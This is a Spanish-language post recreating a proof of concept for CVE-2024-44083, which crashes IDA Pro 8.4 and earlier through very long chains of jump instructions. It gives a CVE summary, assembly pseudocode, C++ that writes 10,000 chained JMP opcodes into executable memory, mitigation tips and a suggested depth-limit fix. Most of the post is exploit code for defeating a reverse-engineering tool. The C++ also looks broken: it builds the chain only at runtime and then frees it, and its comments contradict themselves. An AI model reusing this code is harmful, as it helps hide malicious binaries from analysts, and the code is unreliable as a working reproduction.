
Prueba de concepto para CVE-2024-44083: bloqueo de IDA Pro ≤8.4 mediante cadenas de salto excesivas que causan desbordamiento de pila. Incluye análisis técnico, código de reproducción y consejos de mitigación para herramientas de ingeniería inversa.
Los repos originales del PoC fueron eliminados (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) así que aquí está. Pensé en recrearlo para cualquiera que quiera entender cómo funciona o probar su configuración.
IDA Pro ≤ 8.4 se bloquea al analizar binarios con cadenas de saltos excesivas.
ida64.dll no limita la profundidad a la que llega al seguir cadenas de saltos. Así que si tienes un binario con miles de saltos encadenados que terminan en el punto de entrada, IDA simplemente se mata
| campo | valor |
|---|
| CVE | CVE-2024-44083 |
| afectado | IDA Pro ≤ 8.4 |
| componente | ida64.dll |
| CWE | CWE-770 (agotamiento de recursos) |
| impacto | bloqueo (DoS) |
La idea es simple: crea una sección llena de saltos que sigan saltando a más saltos
; pseudocode obviously
section .text
; thousands of these
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... keep going ...
jump_9999:
jmp payload
payload:
call _start ; this creates the cross-reference that breaks things
_start:
; IDA tries to resolve all the jumps pointing here
; boom crash
ret
IDA intenta seguir y rastrear todos estos saltos construyendo referencias cruzadas y, con suficientes de ellos, simplemente se rinde y se bloquea
Si quisieras crear algo así en c++, harías algo como:
#include <windows.h>
#include <cstring>
// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
// allocate executable memory for our jump chain
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10,000 jumps × 5 bytes + some extra
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// create 10,000 chained jumps
for (int i = 0; i < 10000; i++) {
// write JMP rel32 instruction (E9 xx xx xx xx)
code[offset] = 0xE9; // JMP opcode
// calculate relative offset to next jump (5 bytes ahead)
int32_t rel = 5;
// copy the 4-byte relative offset
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// last jump creates circular reference
// jump back 5 bytes to create infinite loop
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// you can also return a value to make it believeable
offset += 5;
code[offset] = 0xC3; // ret
// this is the pattern that crashes IDA:
// 10,000 jumps → self-referential jump → IDA gets stuck
// no depth limit in recursion → stack overflow → crash
// cleanup
VirtualFree(code, 0, MEM_RELEASE);
}
Básicamente solo estás escribiendo un montón de instrucciones JMP encadenadas. Cuando IDA intenta ser inteligente analizándolas, se queda sin pila/memoria
Si estás atascado en una versión antigua de IDA:
desactiva el auto-análisis antes de abrir archivos dudosos
limita el análisis en secciones sospechosas
Lo que hex-rays debería hacer:
// pseudocode
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("jump chain too deep. fail.");
return; // dont crash just stop
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
Literalmente solo añade un límite de profundidad y ya está.
Solo con fines educativos, no seas imbécil